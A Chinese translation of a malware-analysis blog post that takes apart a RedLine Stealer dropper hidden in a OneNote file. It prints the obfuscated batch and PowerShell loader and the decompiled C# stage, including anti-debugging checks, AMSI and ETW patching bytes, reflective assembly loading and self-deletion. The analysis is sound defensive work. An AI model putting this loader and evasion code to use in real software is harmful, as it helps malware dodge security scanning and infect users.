RedLine Stealer Dropper

一个有趣的示例,其中包含许多不同的混淆技术。在本文中,我们将详细分析。

SHA256: 0B93B5287841CEF2C6B2F2C3221C59FFD61BF772CD0D8B2BDAB9DADEB570C7A6

我们遇到的第一个文件是 OneNote 文档。如果安装了“OneNote 格式”包,则会自动提取所有文件。

在提取的文件中,有两个未识别的文件只是Windows批处理脚本。

我们将数据转换为文本(Ctrl+R ->转换/字节到文本)。

批处理脚本的代码经过模糊处理。

@echo off
set "sMFb=set "
%sMFb%"UFbRmjLRRG=1."
%sMFb%"UwPAONnVOa=co"
%sMFb%"COdAYzdUBF=ll"
%sMFb%"ToDPGEsHPu= C"
%sMFb%"StQVmXXdbu=Po"
%sMFb%"ueTVKWMlnO=we"
%sMFb%"GTAKfFaJew="%~0."
%sMFb%"bgIMqeWlgi=in"
%sMFb%"sRkmhFTZTk=nd"
:: gpUJGV0UmogBpXJpjNr6mswTbRMbSjLzaCIgHlG36VZdfdnkweRkrCB1uF/LvTqM9wtzIUPivhAwiHEHBFv19iFB57OFRRGSiNnMUZlTORojmHEW7KARYxcA
etc.

因此,我们使用“简单批处理模拟器”包来模拟代码。

模拟器会打印出未模拟的命令。

unsupported command: copy C:WindowsSystem32WindowsPowerShellv1.0powershell.exe /y "%~0.exe"
unsupported command: cd "%~dp0"
unsupported command: "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if ($jBqHb.StartsWith(':: ')) {  $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object System.IO.MemoryStream;$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = $VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))
unsupported command: (goto) 2>nul & del "%~f0"
unsupported command: exit /b

我们打开一个新的文本视图并粘贴PowerShell代码。

由于PowerShell代码被混淆,我们使用“PowerShell Beautifier”包对其进行去混淆。

我们不需要变量替换,因此我们取消选中该选项。

PowerShell 美化器不仅对代码进行去混淆处理,而且还为所有变量分配有意义的名称。

代码现在很容易理解。

$read_all_text_result = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);
foreach ($item in $read_all_text_result)
{
    if ($item.StartsWith(':: '))
    {
        $substring_result = $item.Substring(3);
        break;
    };
};
$from_base64_string_result = [System.Convert]::FromBase64String($substring_result);
$aes_managed = New-Object System.Security.Cryptography.AesManaged;
$aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');
$aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA==');
$create_decryptor_result = $aes_managed.CreateDecryptor();
$transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length);
$create_decryptor_result.Dispose();
$aes_managed.Dispose();
$memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result);
$memory_stream_2 = New-Object System.IO.MemoryStream;
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress);
$gzip_stream.CopyTo($memory_stream_2);
$gzip_stream.Dispose();
$memory_stream.Dispose();
$memory_stream_2.Dispose();
$to_array_result = $memory_stream_2.ToArray();
$load_result = [System.Reflection.Assembly]::Load($to_array_result);
$entry_point = $load_result.EntryPoint;
$entry_point.Invoke($null, (, [string[]]'%*'))

PowerShell 代码在批处理脚本的输出中搜索以“::”开头的行。然后从 base64 转换该行,使用 AES CBC 对其进行解密,使用 GZip 解压缩解密的数据,最后将解压缩的数据作为 .NET 程序集加载。

所以我们选择 base64 行跳过 ':: '。

我们将 base64 转换为字节。

我们检索 AES 的密钥和 IV,将它们从 base64 转换为十六进制(在十六进制视图中复制 -> 十六进制)。

并使用密钥长度为 32 的“decrypt/aes”过滤器解密数据。

然后,我们选择所有解密的数据,打开上下文菜单并单击“使选择成为根文件”以将新的根文件添加到当前项目中。在格式对话框中,我们选择 GZip 格式 (GZ)。

解压缩的文件是一个可执行文件,其中包含另一个称为“payload.exe”的文件。此文件由 Cerbero Suite 从 .NET 清单资源中自动提取。但是,它不被识别为可执行文件,因此我们猜测它可能已加密。

我们可以探索 .NET 程序集的 MSIL 代码,但作为反编译的 C# 代码会更容易阅读。

因此,我们将解压缩的可执行文件保存到磁盘并使用ILSpy打开它。

以下是完整的反编译 C# 代码。

// ZZQPHWIYvADFZjHmvZKI.iyxRPGYRPkXbdjnyAvJD
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using ZZQPHWIYvADFZjHmvZKI;

internal class iyxRPGYRPkXbdjnyAvJD
{
    private delegate bool IgOkpazAMCNVDtrLruZu(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    private delegate bool irjkliDHCvdlsAXDyoyk(IntPtr hProcess, ref bool isDebuggerPresent);

    private delegate bool JSxdYaZcqUtDBTLqWEYh();

    [DllImport("kernel32.dll")]
    private static extern IntPtr LoadLibrary(string lpFileName);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    private static void Main(string[] args)
    {
        string fileName = Process.GetCurrentProcess().MainModule.FileName;
        File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
        IntPtr hModule = LoadLibrary("kernel32.dll");
        IntPtr procAddress = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        IntPtr procAddress2 = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        irjkliDHCvdlsAXDyoyk irjkliDHCvdlsAXDyoyk = (irjkliDHCvdlsAXDyoyk)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(irjkliDHCvdlsAXDyoyk));
        JSxdYaZcqUtDBTLqWEYh jSxdYaZcqUtDBTLqWEYh = (JSxdYaZcqUtDBTLqWEYh)Marshal.GetDelegateForFunctionPointer(procAddress2, typeof(JSxdYaZcqUtDBTLqWEYh));
        bool isDebuggerPresent = false;
        irjkliDHCvdlsAXDyoyk(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
        if (Debugger.IsAttached || isDebuggerPresent || jSxdYaZcqUtDBTLqWEYh())
        {
            Environment.Exit(1);
        }
        IntPtr procAddress3 = GetProcAddress(hModule, "VirtualProtect");
        IgOkpazAMCNVDtrLruZu igOkpazAMCNVDtrLruZu = (IgOkpazAMCNVDtrLruZu)Marshal.GetDelegateForFunctionPointer(procAddress3, typeof(IgOkpazAMCNVDtrLruZu));
        IntPtr hModule2 = LoadLibrary("amsi.dll");
        IntPtr procAddress4 = GetProcAddress(hModule2, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("X6S4bPdO9bEc5JMhytQ97Q=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        byte[] array = (IntPtr.Size != 8) ? new byte[8]
        {
            184,
            87,
            0,
            7,
            128,
            194,
            24,
            0
        } : new byte[6]
        {
            184,
            87,
            0,
            7,
            128,
            195
        };
        igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
        Marshal.Copy(array, 0, procAddress4, array.Length);
        igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
        IntPtr hModule3 = LoadLibrary("ntdll.dll");
        IntPtr procAddress5 = GetProcAddress(hModule3, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("aFO2dVfMnsC2dX4t3isGdg=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        array = ((IntPtr.Size != 8) ? new byte[3]
        {
            194,
            20,
            0
        } : new byte[1]
        {
            195
        });
        igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
        Marshal.Copy(array, 0, procAddress5, array.Length);
        igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
        string @string = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("eqU9WF/Q2uAyFap3vw7P9g=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        string string2 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("ljEUT0uNy4Ar6FNzp9ikiQ=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
        foreach (string name in manifestResourceNames)
        {
            if (!(name == @string) && !(name == string2))
            {
                File.WriteAllBytes(name, KnzOkitkGMWCwIFLYBnU(name));
                File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
                new Thread((ThreadStart)delegate
                {
                    Process.Start(name).WaitForExit();
                    File.SetAttributes(name, FileAttributes.Normal);
                    File.Delete(name);
                }).Start();
            }
        }
        byte[] rawAssembly = YRjkDCBPWiLZphgbMGuF(ChLRwkWLsbZOITDACYZb(KnzOkitkGMWCwIFLYBnU(@string), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        string[] array2 = new string[0];
        try
        {
            array2 = args[0].Split(' ');
        }
        catch
        {
        }
        MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
        try
        {
            entryPoint.Invoke(null, new object[1]
            {
                array2
            });
        }
        catch
        {
            entryPoint.Invoke(null, null);
        }
        string string3 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("yAq19rHi1jH5tbR+S4wvn2NMVvFuTfunmXwbSR/7Oj2vsk/HNr6wT2qCxgIuIt+u"), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
        processStartInfo.Arguments = string3 + fileName + "" & del "" + fileName + """;
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        processStartInfo.CreateNoWindow = true;
        processStartInfo.FileName = "cmd.exe";
        Process.Start(processStartInfo);
    }

    private static byte[] ChLRwkWLsbZOITDACYZb(byte[] input, byte[] key, byte[] iv)
    {
        AesManaged aesManaged = new AesManaged();
        aesManaged.Mode = CipherMode.CBC;
        aesManaged.Padding = PaddingMode.PKCS7;
        ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
        byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
        cryptoTransform.Dispose();
        aesManaged.Dispose();
        return result;
    }

    private static byte[] YRjkDCBPWiLZphgbMGuF(byte[] bytes)
    {
        MemoryStream memoryStream = new MemoryStream(bytes);
        MemoryStream memoryStream2 = new MemoryStream();
        GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
        gZipStream.CopyTo(memoryStream2);
        gZipStream.Dispose();
        memoryStream2.Dispose();
        memoryStream.Dispose();
        return memoryStream2.ToArray();
    }

    private static byte[] KnzOkitkGMWCwIFLYBnU(string name)
    {
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        MemoryStream memoryStream = new MemoryStream();
        Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name);
        manifestResourceStream.CopyTo(memoryStream);
        manifestResourceStream.Dispose();
        byte[] result = memoryStream.ToArray();
        memoryStream.Dispose();
        return result;
    }
}

我们逐步分析代码,同时删除模糊字符串并重命名变量。

首先,代码设置当前进程可执行文件的“系统”和“隐藏”属性。

string fileName = Process.GetCurrentProcess().MainModule.FileName;
File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);

然后,它获取 Kernel32.dll 中两个函数的地址。

IntPtr hKernel32Module = LoadLibrary("kernel32.dll");
IntPtr procAddress = GetProcAddress(hKernel32Module, 
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), 
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), 
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr procAddress2 = GetProcAddress(hKernel32Module, 
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), 
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), 
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));

解密功能如下:

private static byte[] decrypt(byte[] input, byte[] key, byte[] iv)
{
    AesManaged aesManaged = new AesManaged();
    aesManaged.Mode = CipherMode.CBC;
    aesManaged.Padding = PaddingMode.PKCS7;
    ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
    byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
    cryptoTransform.Dispose();
    aesManaged.Dispose();
    return result;
}

我们可以用之前使用的相同方法解密字符串,但我们编写了一个小脚本作为动作执行(Ctrl+Alt+R):

from Pro.Core import *
from Pro.UI import *
import base64, binascii

v = proContext().getCurrentView()
if v.isValid() and v.hasSelection():
    s = v.getSelectedText()
    
    i_start = s.find('"') + 1
    i_end = s.find('"', i_start)
    inp = base64.b64decode(s[i_start:i_end])
    
    k_start = s.find('"', i_end+1) + 1
    k_end = s.find('"', k_start)
    key = base64.b64decode(s[k_start:k_end])
    
    iv_start = s.find('"', k_end+1) + 1
    iv_end = s.find('"', iv_start)
    iv = base64.b64decode(s[iv_start:iv_end])
    
    flts = "" % 
        (binascii.hexlify(iv).decode("ascii"), binascii.hexlify(key).decode("ascii"))
    
    c = NTContainer()
    c.setData(inp)
    c = applyFilters(c, flts)
    print(c.read(0, c.size()).decode("utf-8"))
    c = None

如果我们在解密函数中选择文本内容并运行代码,它会打印出解密的字符串。

解密两个字符串后,代码将变为:

IntPtr addressCheckRemoteDebuggerPresent = GetProcAddress(hKernel32Module, "CheckRemoteDebuggerPresent");
IntPtr addresssIsDebuggerPresent = GetProcAddress(hKernel32Module, "IsDebuggerPresent");

然后,它为这两个 API 创建委托:

DelegateCheckRemoteDebuggerPresent delegateCheckRemoteDebuggerPresent =     
(DelegateCheckRemoteDebuggerPresent)Marshal.GetDelegateForFunctionPointer(
addressCheckRemoteDebuggerPresent, typeof(DelegateCheckRemoteDebuggerPresent));

DelegateIsDebuggerPresent delegateIsDebuggerPresent = 
(DelegateIsDebuggerPresent)Marshal.GetDelegateForFunctionPointer(IsDebuggerPresent,
 typeof(DelegateIsDebuggerPresent));

它以各种方式检查是否存在调试器。如果检测到一个,它将退出。

bool isDebuggerPresent = false;
delegateCheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
if (Debugger.IsAttached || isDebuggerPresent || delegateIsDebuggerPresent())
{
    Environment.Exit(1);
}

它获取VirtualProtect的地址并为其创建一个委托:

IntPtr addressVirtualProtect = GetProcAddress(hKernel32Module, "VirtualProtect");
DelegateVirtualProtect delegateVirtualProtect = 
(DelegateVirtualProtect)Marshal.GetDelegateForFunctionPointer(addressVirtualProtect, 
typeof(DelegateVirtualProtect));

它在amsi.dll中获取AmsiScanBuffer的地址。AmsiScanBuffer API 用于扫描恶意软件。

IntPtr hAmsiModule = LoadLibrary("amsi.dll");
IntPtr addressAmsiScanBuffer = GetProcAddress(hAmsiModule, "AmsiScanBuffer");

它根据平台是 32 位还是 64 位(基于指针大小)创建不同类型的数组。

byte[] array = (IntPtr.Size != 8) ? new byte[8]
{
    184,
    87,
    0,
    7,
    128,
    194,
    24,
    0
} : new byte[6]
{
    184,
    87,
    0,
    7,
    128,
    195
};

它使用数组来修补 AmsiScanBuffer API 的开头。

// sets the memory access to PAGE_EXECUTE_READWRITE
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
// patches
Marshal.Copy(array, 0, addressAmsiScanBuffer, array.Length);
// restores the original memory access
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);

如果我们想知道修补的字节是什么意思,我们可以简单地将它们复制到文本视图,将它们转换为字节并使用两个过滤器:convert/from_array(使用默认参数)和 disasm/x86。

用于修补 AmsiScanBuffer 的 x86 指令包括:

mov       eax, 0x80070057
ret       0x18

AmsiScanBuffer 返回一个 HRESULT 值,0x80070057 代表 E_INVALIDARG。因此,恶意软件会修补 API 以返回错误。

然后,它使用相同的方法在ntdll中修补EtwEventWrite.dll。

IntPtr hNTDllModule = LoadLibrary("ntdll.dll");
IntPtr addressEtwEventWrite = GetProcAddress(hNTDllModule, "EtwEventWrite");
array = ((IntPtr.Size != 8) ? new byte[3]
{
    194,
    20,
    0
} : new byte[1]
{
    195
});
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
Marshal.Copy(array, 0, addressEtwEventWrite, array.Length);
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);

这次只需一个简单的 ret 指令即可进行修补。

ret       0x14

然后,它会遍历 .NET 程序集的所有清单资源,如果它们的名称与“payload.exe”或“runpe.dll”不匹配,则会将它们转储到磁盘并执行它们。

string payload_name = "payload.exe";
string runpedll_name = "runpe.dll";
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
foreach (string name in manifestResourceNames)
{
    if (!(name == payload_name) && !(name == runpedll_name))
    {
        File.WriteAllBytes(name, getManifestResourceData(name));
        File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
        new Thread((ThreadStart)delegate
        {
            Process.Start(name).WaitForExit();
            File.SetAttributes(name, FileAttributes.Normal);
            File.Delete(name);
        }).Start();
    }
}

在我们的例子中,唯一的清单资源是“payload.exe”。所以这段代码不会做任何事情。

然后,代码解密和解压缩“payload.exe”,并使用传递给 Main 的参数运行它。

byte[] rawAssembly = decompressGZip(decrypt(getManifestResourceData(payload_name), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
string[] array2 = new string[0];
try
{
    array2 = args[0].Split(' ');
}
catch
{
}
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
    entryPoint.Invoke(null, new object[1]
    {
        array2
    });
}
catch
{
    entryPoint.Invoke(null, null);
}

我们解密“有效载荷.exe”。

并再次创建一个具有GZip格式的新根文件。

在这一点上,我们进入了最后阶段。

加载器的最后一部分仅使用“cmd.exe”来执行“payload.exe”。

string cmd = "/c choice /c y /n /d y /t 1 & attrib -h -s "";
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.Arguments = cmd + fileName + "" & del "" + fileName + """;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.FileName = "cmd.exe";
Process.Start(processStartInfo);

最后阶段已经被扫描引擎识别为“红线窃取者”。

为了彻底起见,我们还从第二个批处理脚本中提取了有效负载。最后阶段的有效载荷似乎是相同的。

有趣的是,这个样本还没有提交给VirusTotal,这次检测恶意软件的扫描引擎减少了10个,尽管类名和代码是相同的。


翻译自:https://blog.cerbero.io/?p=2542

展开阅读全文

页面更新:2024-05-04

标签:批处理   视图   字符串   字节   脚本   文本   代码   格式   文件   数据

1 2 3 4 5

上滑加载更多 ↓
推荐阅读:
友情链接:
更多:

本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828  

© CopyRight 2020-2024 All Rights Reserved. Powered By 71396.com 闽ICP备11008920号-4
闽公网安备35020302034903号

Top